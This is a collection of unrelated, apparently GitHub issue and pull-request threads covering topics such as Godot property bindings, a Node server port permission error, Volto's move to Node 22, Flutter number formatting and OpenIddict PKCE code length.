DirectionalLight3D.directional_shadow_max_distance: property declared get_param, but it does not exist with that name
DirectionalLight3D.directional_shadow_pancake_size: property declared get_param, but it does not exist with that name
FontFile.font_name: property declared get_font_name, but it does not exist with that name
FontFile.style_name: property declared get_font_style_name, but it does not exist with that name
FontFile.font_style: property declared get_font_style, but it does not exist with that name
FontFile.font_weight: property declared get_font_weight, but it does not exist with that name
FontFile.font_stretch: property declared get_font_stretch, but it does not exist with that name
FontFile.fallbacks: property declared get_fallbacks, but it does not exist with that name
FontVariation.fallbacks: property declared get_fallbacks, but it does not exist with that name
FontVariation.opentype_features: property declared get_opentype_features, but it does not exist with that name
FontVariation.spacing_glyph: property declared get_spacing, but it does not exist with that name
FontVariation.spacing_space: property declared get_spacing, but it does not exist with that name
FontVariation.spacing_top: property declared get_spacing, but it does not exist with that name
FontVariation.spacing_bottom: property declared get_spacing, but it does not exist with that name
GradientTexture1D.width: property declared get_width, but it does not exist with that name
GradientTexture2D.width: property declared get_width, but it does not exist with that name
GradientTexture2D.height: property declared get_height, but it does not exist with that name
InputEventAction.pressed: property declared is_pressed, but it does not exist with that name
InputEventJoypadButton.pressed: property declared is_pressed, but it does not exist with that name
InputEventKey.pressed: property declared is_pressed, but it does not exist with that name
InputEventKey.echo: property declared is_echo, but it does not exist with that name
InputEventMouseButton.pressed: property declared is_pressed, but it does not exist with that name
InputEventScreenTouch.pressed: property declared is_pressed, but it does not exist with that name
Node2D.transform: property declared get_transform, but it does not exist with that name
Node2D.global_transform: property declared get_global_transform, but it does not exist with that name
NoiseTexture2D.width: property declared get_width, but it does not exist with that name
NoiseTexture2D.height: property declared get_height, but it does not exist with that name
OmniLight3D.omni_range: property declared get_param, but it does not exist with that name
OmniLight3D.omni_attenuation: property declared get_param, but it does not exist with that name
OptionButton.selected property declared _select_int but it does not exist with that name
PlaceholderMesh.aabb: property declared get_aabb, but it does not exist with that name
PlaceholderTexture2D.size: property declared get_size, but it does not exist with that name
PlaceholderTextureLayered.layers: property declared get_layers, but it does not exist with that name
PointLight2D.height: property declared get_height, but it does not exist with that name
SpotLight3D.spot_range: property declared get_param, but it does not exist with that name
SpotLight3D.spot_attenuation: property declared get_param, but it does not exist with that name
SpotLight3D.spot_angle: property declared get_param, but it does not exist with that name
SpotLight3D.spot_angle_attenuation: property declared get_param, but it does not exist with that name
SystemFont.font_weight: property declared get_font_weight, but it does not exist with that name
SystemFont.font_stretch: property declared get_font_stretch, but it does not exist with that name
SystemFont.fallbacks: property declared get_fallbacks, but it does not exist with that name
VisibleOnScreenNotifier3D.aabb: property declared get_aabb, but it does not exist with that name

Steps to reproduce
This seems to be just human error when the properties are either declared with a different name, or the missing methods are not surfaced.
Minimal reproduction project
No need for a project, the list above contains the deltas

Is the issue here that these functions are missing in the extension bindings because they are present in the code

They look like human error, often the getter and setter are there, but with different names than those referenced on the property

What do you mean with different names? That they aren't "get_x" and "set_x"? That's not a guarantee, it's not broken

Take this example from the list above:
AnimationNodeTransition.input_count: property declared get_input_count, but it does not exist with that name
The Godot source declares the setter:
ClassDB::bind_method(D_METHOD("set_input_count", "input_count"), &AnimationNodeTransition::set_input_count);

And the references a non-declared getter:
ADD_PROPERTY(PropertyInfo(Variant::INT, "input_count", PROPERTY_HINT_NONE, "", PROPERTY_USAGE_EDITOR | PROPERTY_USAGE_ARRAY | PROPERTY_USAGE_UPDATE_ALL_IF_MODIFIED, "Inputs,input_"), "set_input_count", "get_input_count");

But you are correct that some seem to be a problem with my script that caught this on virtual methods - like in scene/2d/audio_stream_player_2d.cpp which declares a

It doesn't seem that there's any bug here?

I'll close the bug for now, and if I find an issue will reopen with additional information.
thank you for your help @AThousandShips


Record Object span

Currently the span is not recorded in the internet for objects. Runtime errors therefore have a default span.
This is a remnant of a previous refactor where all errors were being caught at compile time

One possibility which I am working with now, is to remove the Span from RuntimeErrorKind, so that when we are evaluating the AST, we do not need span, however once we come out of the recursive tree walker, we can convert a RuntimeErrorKind into a RuntimeError which holds span

To get the right abstraction for this, a few things were done:

We have RunTimeErrorKind which does not return a Span and is used when objects interact with each other.
We have RunTimeError which is used when expressions are involved, or when Expressions and objects are involved.

The second point allows us to ignore the span inside of binary operations and low level function calls. We lose granularity here, but with detailed error messages, this might not be a problem. Instead we add the Span once at the top level.
An example:

Array::from_expression will return a Span.
Array::add will not return a Span


Unable to deploy on server

Even if I create a vanilla CACCL app, when I run npm run build and then npm start I get this:
events.js:170
throw er; // Unhandled 'error' event
^
Error: listen EACCES: permission denied <IP_ADDRESS>:443
at Server.setupListenHandle [as _listen2] (net.js:1241:19)
at listenInCluster (net.js:1306:12)
at Server.listen (net.js:1394:7)
at module.exports (/home/aya16/lti-final/node_modules/caccl/genExpressApp.js:157:12)
at module.exports (/home/aya16/lti-final/node_modules/caccl/validateConfigAndSetDefaults/server.js:449:18)
at module.exports (/home/aya16/lti-final/node_modules/caccl/server/index.js:116:18)
at module.exports (/home/aya16/lti-final/node_modules/caccl/server/react.js:161:15)
at Object. (/home/aya16/lti-final/index.js:10:13)
at Module._compile (internal/modules/cjs/loader.js:805:30)
at Object.Module._extensions..js (internal/modules/cjs/loader.js:816:10)
Emitted 'error' event at:
at emitErrorNT (net.js:1285:8)
at processTicksAndRejections (internal/process/task_queues.js:81:17)
at process.runNextTicks [as _tickCallback] (internal/process/task_queues.js:56:3)
at Function.Module.runMain (internal/modules/cjs/loader.js:871:11)
at internal/main/run_main_module.js:21:11
npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR<EMAIL_ADDRESS>start: node index.js
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>start script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.
npm ERR!  The user you're using to start node is not allowed to start servers on port 443.
I added "prettier" error messages. Please update caccl (npm update or `npm i --save caccl) and try again for better error messages.
How to fix this issue:
Either start the app using an admin/root user or start the app using sudo. A safer but more complex solution would actually be to use something like nginx to listen to port 443 or 80 and forward traffic to your app, which you can set up to listen on port 8080 (for example). Search the docs for "Which port will my app listen to" to get more information on switching ports.
Does this help?

Yes that is very clear. Thanks again.


TEIIDTOOLS-737 deprecating the validation methods

This makes the validation change mentioned on TEIIDTOOLS-737.  Once the ui is changed, we can then remove the KomodoVdbService.

LGTM - Should we log another issue to remove the deprecation and fix the UI side?

LGTM - Should we log another issue to remove the deprecation and fix the UI side?

No need to log another issue for UI work - I can work the UI side under TTOOLS-737.

:+1: Please also remove deprecated calls in that commit.

I should add that there is one small difference in that this does not validate virtualization names against connection names as the validate method did.  Would you be ok with it returning a 303 "see other" code if the name matches a source name?

I'm ok with the 303 code.  I'm not clear atm how to validate view names.  What is service call for that?

I'm ok with the 303 code. I'm not clear atm how to validate view names. What is service call for that?

This adds GET dataservices/name/views/name - if you call that and get anything other than a 404, you'll know that the name is invalid (forbidden), an existing data virtualzation, or a connenction name (see other).

I finished the UI side changes to remove the nameValidation service calls and adapted to the GET service calls.  https://github.com/syndesisio/syndesis/pull/6875
Will merge once the UI PR is approved and ready to merge.


[FEATURE] Add OpenAI assisted retrieval support.

Describe the feature you want 描述你的功能需求
我希望搜索功能可以支持Chatgpt辅助检索，或者在页面添加新的标签，用Chatgpt归纳总结当前页面的内容。
I hope the search function can support ChatGPT-assisted retrieval, or add new tags to the page to summarize the content using ChatGPT.
Useful reference 有价值的参考

https://fastgpt.in
https://platform.openai.com/docs/guides/embeddings
https://github.com/zhheo/Post-Abstract-AI

Wouldn't recommend doing with this unless you have a backend to support it, or you might probably compromise your api key due to the nature of static site.

Interesting idea, not sure how useful it will be but you can probably do it by just calling the LLM API endpoint during build time using https://gohugo.io/functions/resources/getremote/#remote-data

Based on my personal experience, I do not recommend doing it this way. It is useless, difficult to maintain, and will increase costs.
From July 2023, a similar feature was added to my Blog^1, and the method adopted later was to pre-summarize with ChatGPT and place it in the front-matter of the post.
If there is no cache for summarize, it will consume a lot of tokens. If there is a cache, backend services are needed to handle the caching.

It’s possible to control the cache using a hash of the article content https://gohugo.io/functions/resources/getremote/#caching but one does need to be very careful if one wants to build and publish using CI/CD pipelines. It’s also impossible to control or alter the quality of the summary. I agree using external tools to summarize and then place the result into the front matter is a better approach.
Closing this for now.


Trakt Up Next

Addon Manifest URL
https://up-next.dontwanttos.top/configure
Addon Description
This addon uses your personal Trakt watched list to create custom catalog(s) of series with with only unwatched episodes visible.  These catalogs are a simple way to stay on top of when new episodes or seasons of your watched shows come out.
Note: I am not the developer of this addon.  It was originally posted in the Stremio Discord by the user "pancake".
Language of Content
English
Choose Labels

[X] anime
[ ] asian drama
[ ] bollywood
[ ] cartoons
[ ] debrid support
[ ] http streams
[ ] live tv
[X] metadata
[ ] misc
[ ] movies
[ ] music
[ ] nsfw
[ ] podcasts
[ ] radios
[ ] subtitles
[ ] torrents
[X] tv shows
[ ] video games

The manifest.json for this addon doesn't seem to be available until/unless the Trakt account has been authorized first.  Does that mean it can't be added to this list?
(Obligatory "I'm not the developer."  I just think it's a useful addon that other people would be interested in.)


Fix missing dependency declarations error #469 #772

Can one of the admins verify this patch?

@tensorflow-jenkins, test this please.

Merged


Node 22 as LTS, main and recommended Volto version

https://github.com/nodejs/release#release-schedule
In preparation for Node.js 22 being promoted to LTS in 2024-10-29.
I'd suggest we sync the release of Volto 18 with that.

[ ] I signed and returned the Plone Contributor Agreement, and received and accepted an invitation to join a team in the Plone GitHub organization.
[ ] I verified there aren't other open pull requests for the same change.
[ ] I followed the guidelines in Contributing to Volto.
[ ] I succesfully ran code linting checks on my changes locally.
[ ] I succesfully ran unit tests on my changes locally.
[ ] I succesfully ran acceptance tests on my changes locally.
[ ] If needed, I added new tests for my changes.
[ ] If needed, I added documentation for my changes, either in the Storybook or narrative documentation.
[ ] I included a change log entry in my commits.

If your pull request closes an open issue, include the exact text below, immediately followed by the issue number. When your pull request gets merged, then that issue will close automatically.
Closes #

📚 Documentation preview 📚: https://volto--6371.org.readthedocs.build/

@davisagli it seems that they deprecated some libraries that are not in core anymore, so some libraries have to stop using them, so we have to update them, or they have to update their deps. I will continue investigating.

It seems that the parcel error will be gone with: https://github.com/nodejs/node/issues/54573#issuecomment-2381007851

@sneridagh So we are waiting for a new Node release?

We are 🟢 now!
@davisagli Would you wait until 2024-10-29, when 22 is officially LTS?

Would you wait until 2024-10-29, when 22 is officially LTS?
@sneridagh I don't see any important reason to wait.

@davisagli yeah, me neither. Let's do it!


Support double.toString() with different language

double n=1.023;
print(n);
In some languages
eg. French
Expect:
1,023 not 1.023

Hi @jchenx2
double.toString() does what it suppose to do, it converts to String and not modify based on internationalisation
You need to use https://api.flutter.dev/flutter/intl/NumberFormat-class.html for this
This platform is not meant for assistance on personal code.
Please see https://flutter.dev/community for resources and asking questions like this,
you may also get some help if you post it on Stack Overflow and if you need help with your code, please see https://www.reddit.com/r/flutterhelp/
Closing, as this isn't an issue with Flutter itself. If you disagree, please write in the comments and I will reopen it.
Thank you

Thanks


[BUG] App seems to be crashing when visiting to profile

https://github.com/MarsX-dev/devhunt/assets/37103237/a5c20483-1f23-4303-81f3-887aa681661b

@TheAlphamerc Thanks for reporting, we have fixed this a long time ago, but forgot to get back to you, and sorry for that.


fix a few typos

necessary

Please stop spamming approvals or I'll have to ban you.

Sorry about my friend, he was being silly. I've encounted another typo and have added another commit to fix it.

@ajanata Do you have any plans to merge this, or can I close this pull request?

See https://github.com/ajanata/PretendYoureXyzzy/pull/230#issuecomment-607365589


Middleware not working as expected

Hi!
I want to always have avaiable all the request parameters in my views, so I've created a middleware which look like this.
* handle (request, response, next) {

    const view = use('View')

    view.global('request', request.all())

    yield next
  }

In my view I have a simple GET form. It has 1 input with name "search" so the url will look like this

url.com?search=foo

Now the problem is that if I try to print "{{ request.search }}" after I've pressed the submit button I don't get the "foo", but if I try again with "search=bar" it will print the previous search, in this case "foo". This only happens with the middleware whereas in the controller everything seems fine.
Even stranger is that I have this problem only with OSX and not with Win10.
Tried with node 6.9.2 and 6.10.0

You should not add values to the view global but instead add to the instance of view on the response object.
 response.viewInstance.global('request', request.all())

Thanks!
That fixed the problem, I used this solution:
response.viewInstance = use('View')
response.viewInstance.global('request', request.all())

For me it wasn't really clear reading it from the docs, you might want update it in the future :)
Keep up the good work!


Add arm64 docker image (dennisameling work from reverted PR)

Right now, this is https://github.com/drud/ddev-images/pull/16, which I mistakenly pulled, and then had to revert. It needed some work on the release creation still, so release creation failed.

@rfay let me know if I can be of any help with this 👍

Thanks, I think I'm going to get it.  I may have to practice the release build in my own fork. We'll see.

A release build of this branch resulted in https://hub.docker.com/layers/drud/ddev-php-base/v0.4.0-alpha6/images/sha256-f6f52b84eb55b936e1848dd051b1e99ba370b5e53b90dacf5fa9ab892d0d186a?context=explore

@dennisameling I'd love it if you could take a look at this and see what you think. The release build has now been successful; I'll try a test PR on ddev to make sure it can pass the tests there.

Pulling with great hope :) Congratulations on all the good work you did on this @dennisameling !


Shorting the returned code in the Authorisation Code with PKCE implementation

CONTEXT: the Authorisation Code with PKCE (RFC 7636) implementation with no authorization storage (e.g. for the Degraded mode) and hence no reference tokens in use.
PROBLEM
The server returns the Code (encrypted by default) wrapped in a signed JWT by calling link to GenerateIdentityModelToken.ValueTask() method:
context.Token = context.SecurityTokenHandler.CreateToken(descriptor).
This (especially the signature) blows out the size of the generated code string (becomes > 2,048 symbols) that gets returned in the Query String.
TL;DR: Due to the heavy size of the token, in its turn, the client's request may hit limitations on the Query String and/or URL length.
GOAL:
Keep the generated code string well under 2,048 symbols.
e.g. code=lBm8NqlNa0qKalXTRc7cYA&state=V2VkIEp1bCAyNiAyMDIzIDE4OjE3OjMzIEdNVCsxMDAwIChBdXN0cmFsaWFuIEVhc3Rlcm4gU3RhbmRhcmQgVGltZSk%3D&iss=https%3A%2F%2Flocalhost%3A5003%2F

Cross-link: openiddict/openiddict-core/issues/1843


Swift 2.0 Xcode 7 beta 5

Hi,
Can you please tell me whats wrong in this code?

You need to implement the Mappable protocol, there needs to be an init method that takes a map.

Your newInstance method shouldn't return an Optional and shouldn't take any parameters:
class func newInstance() -> Mappable {
    return User()
}

@fresswolf is correct. The swift-2.0 branch is a bit out of date. I will update it today so that it reflects the updated protocol in master.